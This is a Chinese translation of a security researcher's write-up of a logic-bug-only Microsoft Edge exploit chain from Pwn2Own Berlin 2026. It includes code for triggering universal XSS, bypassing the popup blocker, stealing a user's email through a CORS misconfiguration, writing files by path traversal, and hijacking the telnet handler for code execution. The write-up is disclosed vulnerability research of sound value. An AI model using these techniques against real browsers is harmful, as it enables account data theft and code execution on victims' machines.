跳到正文
Hacker News· austinallegro·· 5 小时前精选AI 评分66

仅用逻辑漏洞打造 Microsoft Edge 全链利用

Forging a Microsoft Edge Full Chain with Logic Bugs Only

AI 导读

austinallegro 详解其在 Pwn2Own Berlin 2026 构建的 Microsoft Edge 全链利用,攻击链由五个漏洞和两项 Windows 功能组成,全程未使用 AI。

推荐理由

文章逐步拆解 Microsoft Edge 从无源导航、UXSS 到任意文件写入和代码执行的串联过程,呈现纯逻辑浏览器漏洞的研究路径。

正文 · AI 翻译

我觉得自己还是应该隔一段时间就公开一些工作成果,尽管如今真正坐下来读文章的人似乎越来越少(或者现在大家都把这件事交给自己的智能体了 XD)。总之,这是我为 Pwn2Own Berlin 2026 打造的成果——一条完全手工制作、仅靠逻辑漏洞的 Microsoft Edge 完整利用链,不涉及内存破坏,也完全没有使用 AI!🔥

确认!DEVCORE Research Team 的 Orange Tsai(@orange_8361)串联了 4 个逻辑漏洞,在 Microsoft Edge 上实现沙箱逃逸,获得 $175,000 和 17.5 个 Master of Pwn 积分。完美通关!#Pwn2Own #P2OBerlin https://t.co/vJaIpGG4cD

— TrendAI Zero Day Initiative (@thezdi) May 14, 2026

整条攻击链由五个漏洞和两项 Windows 特性组成。我还在今年的 HITCON 和 Hexacon 上分享了完整的漏洞挖掘与链式组合过程,以及沿途的一些趣闻。你可以查看 这里的幻灯片!

也许大家都认为,在 AI 时代,LLM 已经能够攻破一切,所以这样完全由手工打造的成果就似乎显得更为珍贵。这可能也是该攻击链获得今年 Pwnie Awards 提名并赢得 Epic Achievement 奖的原因。🎉

pwnie-award-2026

让我们开始导航吧!

那么,一条纯逻辑完整利用链要从哪里开始呢?既然它是一个“浏览器”,那就先看看“浏览”(或者 Chromium 所称的“导航”)是如何工作的。这篇文章不会展开太多细节,因为我觉得在这个时代,你完全可以让智能体替你补齐细节 :)

不过,如果你想了解全貌,我仍然建议你阅读 Chrome University 的“导航的生命周期”。

被遗忘的导航节流机制

在梳理 Chromium 的导航流程时,一个名为“导航节流机制”的东西吸引了我的注意。它们位于浏览器进程中,会拦截由浏览器端或渲染器端发起的所有导航请求。也许事后说起来很容易,但 Google Chrome 在过去五年修复的 3,000+ 个 CVE 中,与它们相关的只有不到 20 个。所以我猜,这也是一个没多少人关注的角落。

总之,我开始深入研究这些导航节流机制,并查看 Google Chrome 和 Microsoft Edge 对它们的实现方式。在浏览代码时,我发现 Edge 为其企业 Entra ID 功能提供了一个名为 EdgeCAGuidanceNavigationThrottle 的节流机制(这里的 CA 代表 条件访问)。该节流机制的用途是在 Edge 检测到用户使用工作账户登录 Microsoft 网站时,引导用户使用正确的 User Profile。而要触发这个节流机制,必须从特定的 Microsoft 自有源发起导航,例如 login.live.com:

1
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`

节流机制一旦触发,Edge 就会将当前 User Profile 的电子邮件地址与 ?email={email} 进行比较。如果两者不匹配,Edge 会弹出一个对话框,引导你切换账户。

image

但如果两者匹配,Edge 随后会从 switch_profile={url} 中获取你原本要访问的 URL,并使用 Chromium 内部的 Navigation API 发起一次新的导航:

1
2
3
4
5
NavigateParams params(browser, switch_profile_url, ui::PAGE_TRANSITION_LINK);
params.disposition = WindowOpenDisposition::CURRENT_TAB;
params.window_action = NavigateParams::SHOW_WINDOW;

Navigate(&params);

因此,在条件满足时,如果目标 URL 符合某种特定的内部格式,该节流机制就会取消原始导航,然后使用攻击者控制的查询字符串中的 URL 发起一次新导航。由于这次新导航由浏览器进程发起,理论上我们就能做一些以前无法做到的事情,例如跳转到通常被禁止的页面,如 edge://settings 或 devtools://...,甚至是 javascript:alert(origin) 这样的伪协议。

虽然这个 JavaScript 伪协议听起来像是一种强大的原语,但你仍然需要先获取 login.live.com 上的执行上下文,才能触发节流。因此,能够跳转到 javascript: 实际上并没有给你带来任何额外能力。最多,它就像一种 Self-XSS,或者是把那里的 Open Redirect 变成 XSS 的一种方式。无论哪种情况,你仍然只是在同一个 login.live.com 上下文中执行 JavaScript。

说实话,我第一眼看到这个漏洞时并没有太当回事。对我来说,它只是一个更强大的 Open Redirect,可以跳转到更多浏览器级 scheme,而且仍然需要与其他漏洞串联使用。于是,这个漏洞就在我的笔记里躺了好几周…… 🤦‍♂️

无源导航:一种新的 UXSS 原语

转折点出现在某天我研究 Chromium 架构的时候。我开始思考:节流机制由浏览器进程处理,因此新的导航也会由浏览器发起。然而,我们从中触发节流的页面 login.live.com 位于渲染器中;在研究这段逻辑时,我没有找到任何将浏览器和渲染器关联起来的代码。所以…… CURRENT_TAB 究竟指的是哪个标签页?

为了弄清楚这一点,我做了一个快速测试,并在原始触发操作中加入了一段延迟:

1
2
3
setTimeout(function(){
location.href = `https://guidance-ca-error/?email={email}&switch_profile={url}`
}, 8000)

在延迟期间,我们手动将 Edge 切换到新标签页,想看看会发生什么,结果……

砰!我们在 google.com 上成功实现了 UXSS,这也就是整条漏洞链中的第一个漏洞。为了彻底弄清 UXSS 的根本原因,我们深入研究了 Chromium 的源代码。我们发现,如果在调用 Navigate() 时没有指定 source_contents(要绑定的渲染器来源),Chromium 会自动将当前活动标签页用作渲染器来源。

↓ 路径: chromium/chrome/browser/ui/browser_navigator.cc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
base::WeakPtr<content::NavigationHandle> Navigate(NavigateParams* params) {







if (!params->source_contents && params->browser) {
params->source_contents = params->browser
->GetBrowserForMigrationOnly()
->tab_strip_model()
->GetActiveWebContents();
}






if (!contents_to_navigate_or_insert) {
DCHECK(!params->url.is_empty());
if (params->disposition != WindowOpenDisposition::CURRENT_TAB) {

} else {


DCHECK(params->source_contents);
contents_to_navigate_or_insert = params->source_contents;
}



if (!HandleNonNavigationAboutURL(
params->url, contents_to_navigate_or_insert->GetBrowserContext())) {


NavigationController::LoadURLParams load_url_params =
LoadURLParamsFromNavigateParams(contents_to_navigate_or_insert,
params);
navigation_handle =
contents_to_navigate_or_insert->GetController().LoadURLWithParams(
load_url_params);
}

}

尽管代码路径要求 params.disposition 为 CURRENT_TAB,且 params.source_contents 为 NULL,但幸运的是,这些恰好都是默认值,因此就连 Chromium 自己的 示例代码 也弄错了这一点。我猜这应该算作一种新的 UXSS 攻击面!

0-Click 挑战

我们刚刚获得的这个 UXSS 原语听起来很棒,但在实际应用中,触发它仍然面临不少挑战。下面列出我们在将 UXSS 武器化时遇到的四个挑战,以及我们如何用越来越多的漏洞逐一破解它们 😉。

1. 必须从可信来源触发节流机制

第一个挑战,正如我们之前提到的:这个 UXSS 必须从某些 Microsoft 站点触发。虽然仍然可以在那里找到一个 XSS 来达成目的,但听起来会非常麻烦,因此我们会把它留作最后手段。相反,我们决定先看看来源检查中是否有唾手可得的利用点。

1
2
3
4
5
content::WebContents* web_contents = navigation_handle()->GetWebContents();
const GURL last_committed_url = web_contents->GetLastCommittedURL();

if ( !IsSupportedLoginUrl(last_committed_url) )
return content::NavigationThrottle::CANCEL_AND_IGNORE;

我们发现,EdgeCAGuidanceNavigationThrottle 使用 GetLastCommittedURL() 来获取发起导航的来源,然后对其进行检查。第一眼看上去,这似乎是正确的验证方式。但再仔细看一遍,就会注意到 Microsoft 似乎忘记了一点:导航不仅可以来自当前的 WebContents,也可以来自另一个窗口…… 因此,一个简单的 window.open(...) 就足以绕过检查!

↓ 你可以在任何网站上运行它来触发节流

1
2
popup = window.open('https://login.live.com/', '_blank')
popup.location = `https://guidance-ca-error/?email={email}&switch_profile={url}`

到目前为止,我们可以通过跨窗口导航绕过来源检查。然而,如今现代浏览器不再轻易允许网页打开新窗口,因此又出现了另一个问题:弹窗拦截器 默认会阻止 window.open(...)。

popup-blocker

为了破解这个问题,我们继续逆向分析 Microsoft Edge。我们发现,Microsoft 也许是为了内部使用,自行制作了一个弹窗硬编码白名单…… 因此,像下面这样的弹窗通常会如预期那样被阻止:

1
popup = window.open('https://malicious.tld', '_blank')      

但如果你把 URL 换成白名单中的那个……窗口就会直接出现。然后别忘了把它导航回原始站点,这样你就绕过了弹出窗口阻止器!

1
2
popup = window.open('about:blank#quickAuthPopup', '_blank') 
popup.location = 'https://malicious.tld'

谢谢你,Microsoft!

thanks-microsoft

3. 对已登录配置文件的需求

现在我们可以在任意位置触发 EdgeCAGuidanceNavigationThrottle,下一步就是绕过条件访问检查。代码首先要求 Microsoft Edge 已经存在一个已登录的用户配置文件,然后检查 ?email={email} 是否与该配置文件的电子邮件地址匹配。在进行无源、由浏览器发起的导航并最终触发我们的 UXSS 原语之前,这两个条件都必须满足。

1
2
3
4
5
6
7
8
9
10
Profile* current_profile = Profile::FromBrowserContext(
web_contents->GetBrowserContext());

std::string email;
net::GetValueForKeyInQuery(target_url, kEmailQueryKey, &email);

const base::FilePath target_profile_path = GetPathOfProfileWithEmail(email);
if (current_profile->GetPath() != target_profile_path) {
profiles::SwitchToProfile(target_profile_path, false, BindOnce(…));
}

不过,由于我们不能预先假定目标环境中存在已登录的配置文件,因此仍然需要找到一种方法,让攻击在不存在该配置文件时也能奏效。在探索 Microsoft Edge 的过程中,我们发现了一个很棒的功能,名为“OneAuth”。该功能允许任何 Edge WebView 应用程序在访问 Microsoft 旗下站点时,自动使用你当前的 MSA 凭据登录。事实证明,从 25H2 开始,Windows OOBE 要求你使用 MSA 登录(除非你使用本地账户变通方法)。所以,即使你从未在浏览器中创建过用户配置文件,只要访问 www.microsoft.com,就足以让 Edge 自动创建一个配置文件并为你登录。

再次感谢 Microsoft!

4. 需要预先获知登录电子邮件地址

登录问题解决后,最后一个挑战是提前获取受害者的电子邮件地址。当然,我们可以尝试一些社会工程手段,或者继续逆向 Microsoft Edge,寻找另一个能替我们泄露该信息的漏洞。但既然自动登录已经设置了多个 Microsoft Cookie,我们认为利用 Web 攻击窃取电子邮件地址会更容易。因此,我们启动了 Burp Suite,开始寻找 Web 漏洞。

我们花了几个小时时间,在多个 Microsoft 站点上发现了若干 XSS 漏洞。在四处查看时,我注意到 assets.msn.com(它被嵌入在 edge://new-tab-page-online 中)会返回当前已登录用户的电子邮件地址。更有意思的是,当我检查响应标头时,发现该站点似乎存在 CORS 配置错误……

cors-misconfig

因此,只需在简单的 fetch(...) 中带上凭据,就可以轻松地从任何网站窃取任意 Microsoft Edge 用户的电子邮件地址:

1
2
3
4
5
6
7
8
9
10
11
resp = await fetch(`https://assets.msn.com/service/community/users/me?profile=social&it=edgeid`, {
method: 'GET',
mode: 'cors',
credentials: 'include',
referrerPolicy: 'no-referrer',
headers: {
'Accept': 'application/json'
}
})
body = await resp.json()
console.log( body.value[0].email )

全部组合起来!

到目前为止,为了让这个原语发挥作用,我们串联了以下环节:

  • 由缺失跨窗口 Opener 检查导致的受信任源绕过
  • 由硬编码白名单导致的弹出窗口阻止器绕过
  • 自动为你登录的 OneAuth 功能
  • 可让我们窃取已登录用户电子邮件地址的 CORS 配置错误

现在,我们终于可以在无需任何点击的情况下触发 UXSS 了!更妙的是,由于这个 UXSS 是由浏览器进程发起的(如果你感兴趣的话,就是 Mojo 中的 HandleRendererDebugURL),因此它可以完全无视任何 CSP。这意味着我们可以在 google.com、facebook.com、icloud.com 或任何想要的网站上运行 JavaScript!

突破浏览器沙箱

所以,我们现在拥有了一个通用 XSS。这意味着我们可以为所欲为吗?如果谈的是 Web 安全,那么答案是肯定的。但我们的目标是获得 ACE(任意代码执行),所以仅靠 UXSS 还远远不够。我们仍然需要找到一种突破浏览器沙箱的方法,将这个 UXSS 转化为代码执行。

我脑海中出现的第一个也是最直接的想法是:既然我们可以在任何网站,或者更准确地说,任何源上运行 JavaScript,那为什么不直接利用 edge://settings 或 edge://downloads 这样的特权 WebUI 页面来获得 ACE 呢?

这种朴素的做法当然早已被 Chromium 开发者加以缓解。在渲染器的 Mojo 处理器中,还有一项额外检查:如果该源属于以下特权 WebUI 之一,渲染器就会直接忽略该 JavaScript URL。

1
2
3
4
5
6
7
8
9
10
11
edge://
chrome-extension://
chrome://
chrome-untrusted://
chrome-distiller://
chrome-error://
chrome-native://
chrome-search://
devtools://

// more...

↓ 路径: chromium/third_party/blink/renderer/core/frame/local_frame.cc

1
2
3
4
5
6
7
8
9
10
11
12
void LocalFrame::LoadJavaScriptURL(const KURL& url) {


if (SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
GetSecurityContext()
->GetSecurityOrigin()
->GetOriginOrPrecursorOriginIfOpaque()
->Protocol())) {
return;
}

}

↓ 路径: chromium/third_party/blink/renderer/platform/weborigin/scheme_registry.cc

1
2
3
4
5
6
7
8
bool SchemeRegistry::ShouldTreatURLSchemeAsNotAllowingJavascriptURLs(
const String& scheme) {
DCHECK_EQ(scheme, scheme.LowerASCII());
if (scheme.empty())
return false;
return GetURLSchemesRegistry().not_allowing_javascript_urls_schemes.Contains(
scheme);
}

基本上,Chromium 已经把你能想到的所有特权 WebUI 都列入了 not_allowing_javascript_urls_schemes 黑名单。因此到了这一步,我仍然卡住了很久。😖

通过 Immersive Reader 实现任意文件写入

不过,在继续探索 Microsoft Edge 的过程中,我们发现 Edge 有自己的阅读模式,名为 Immersive Reader。而且,与 Chrome 内置的阅读模式不同,Immersive Reader 似乎很早就从 Chromium 分叉出来,之后由 Microsoft 在其基础上继续开发。因此,Edge 使用的不是旧的 chrome-distiller://,也不是已被列入黑名单的 chrome-untrusted://,而是一个自定义的 read:// 协议。Microsoft 似乎也忘了把这个协议加入黑名单,所以我们的 UXSS 在这个特权 WebUI 上也能奏效 :)

从这个特权 WebUI 出发,我们可以通过 JavaScript 访问大量原生 C++ 对象。其中一个名为 chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles() 的对象引起了我的特别兴趣。我们试用后发现,该函数接受两个参数:文件名和一个 JSON 字符串:

↓ 我们在 read://https_orange.tw/?url=https://orange.tw 上运行了此代码

1
2
3
4
5
6
7
8
9
chrome.edgeFeedbackPrivate.zipDiagnosticLogFiles(
'LOL.ZIP',
'{
"logFiles": {
"ORANGE": "AAAAAAAA"
},
"deviceInfo": {1337: 1337}
}'
)

在尝试它的过程中,我们观察到 Microsoft Edge 会先创建一个临时文件夹,并将 AAAAAAAA 写入文件 ORANGE.json。随后,它会把整个文件夹打包成 LOL.ZIP,上传到 Microsoft 服务器,并在之后清理所有内容。当然,你会想试试 ../……没错,它确实能让你跳出临时文件夹。但那个 .json 扩展名还是有点烦人。也许你也在想,NULL 字节能不能把它去掉……当然可以!现在,我们就拥有了一个既能控制文件名、也能控制内容的任意文件写入能力,可以随心所欲地覆盖任何位置的任何文件!

Microsoft,谢谢你一次又一次!

a_slide1_smooth

覆写 protocols.json 以自动启动协议处理程序

现在,我们几乎已经集齐了所有拼图。最后一步是弄清楚如何把浏览器层面的任意文件写入变成 ACE,从而完成整条链。我们观察到,Microsoft Edge 在初始化时会进行一些有意思的侧加载操作,例如读取一批配置文件,或从可写文件夹中加载 DLL。

所以 DLL 侧加载听起来很有搞头。不过,由于我们的文件写入被封装在 JSON 中,内容必须是有效的 UTF-8 字符串。又因为 Microsoft Edge 是 64 位进程,我们还必须放置一个 64 位 DLL。花了些时间研究后,我们发现无论如何都无法构造出满足 UTF-8 要求的有效 64 位 PE 头文件,因此放弃了 DLL 侧加载。

我们最终采用了一种不那么显而易见的方法。我们发现,除了 OneAuth 之外,Edge 在初始化时还会加载一系列组件,其中一个是“AutoLaunchProtocolsComponent”。该组件会从我们可以写入的文件夹中读取一个名为 protocols.json 的配置文件,而该文件定义了哪些源有权启动哪些 URL 协议处理程序。因此,通过覆写这个文件,我们可以从任意源启动任意协议处理程序。

↓ 路径: AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent\1.0.0.10\protocols.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"allow": [
{
"origins": [
"https://.get.microsoft.com",
"https://.apps.microsoft.com"
],
"protocol": "ms-windows-store"
},
{
"origins": [
"https://.onedrive.com",
"https://.onedrive.live.com",
"https://sharepoint.com"
],
"protocol": "ms-word"
},

],
"warn": [

],
"block": [

]
}

至于如何让 Microsoft Edge 重新初始化?只需使用我们之前通过浏览器发起的导航跳转到 edge://restart!:)

从 telnet:// 到代码执行!

这里我们选择 telnet:// 来实现代码执行。在 Windows 上,telnet 处理器会尝试调用 telnet.exe,但默认不会附带该二进制文件,因此 Windows 会在 PATH 环境变量列出的目录中查找它。而其中一个目录恰好可由我们写入……

1
2
3
4
5
6
C:\WINDOWS\system32
C:\WINDOWS
C:\WINDOWS\System32\Wbem
C:\WINDOWS\System32\WindowsPowerShell\v1.0
C:\WINDOWS\System32\OpenSSH
C:\Users\lowpriv\AppData\Local\Microsoft\WindowsApps

所以,只要放入一个经过修改的 protocols.json 和一个 32 位微型 PE,我们就成功实现了 ACE。整个漏洞利用程序不到 100 行代码。重启在真实攻击中其实并不必要,只有 Pwn2Own 才需要。来看看演示吧!🔥

最后的思考

从毫无现代浏览器漏洞利用经验,到完成完整的攻击链,整个研究花了我整整两个月,而且全程没有使用任何 LLM/AI。你可能会问,为什么?也许是因为这听起来很酷,也可能只是时机刚好——我直到今年 3 月左右才开始使用 Codex 和 Claude Code 这样的编程代理,而那时我已经找出了所有漏洞,也完成了最难的部分 ¯\_(ツ)_/¯

那么最难的部分是什么?对于内存破坏漏洞,往往是漏洞利用本身。但我们处理的是逻辑漏洞,最难的部分是找到它们;一旦把它们全部找到,串联起来就是最简单的部分。所以,这也是我让整个漏洞利用过程完全不使用 AI 的原因。

除此之外,我还把 UXSS 原语视为一种新的攻击面,并认同在 AI 时代,“攻击面就是新的 0day”。在把这座金矿分享给 AI 巨头之前,我想先更深入地探索它。这是我决定不在这条攻击链中使用 AI 的另一个原因。

当然,我也不是那种拒绝尝试新事物的老派家伙。在这条攻击链之外,我还疯狂刷 token、对 AI 上瘾。我相信,一旦体验过 LLM 有多方便,就没人愿意再回到手工寻找漏洞的状态。我认为这同样是未来。

我其实也不那么害怕被 AI 取代。我倒不如说,正是因为有了 AI,我终于有足够时间完成 TODO 清单里一直搁置的所有酷东西……比如 我刚刚报告的 Windows RCE、将这条攻击链反转为 从 calc.exe 中弹出 Microsoft Edge,或者将这条纯逻辑的完整攻击链移植到 Google Chrome(就快完成了 ><)。下个月,我还会在 日本的 CODE BLUE 展示一些进展。敬请期待!😉

所以,与其担心漏洞研究的门槛能降到多低,不如为 AI 能把我们带到多高而感到兴奋?我们能获得多少乐趣,能构建出多么酷炫的攻击手段,又能让多少原本不可能的事情成为现实……?

永远不要停下漏洞利用的脚步!

来源:Hacker News · blog.orange.tw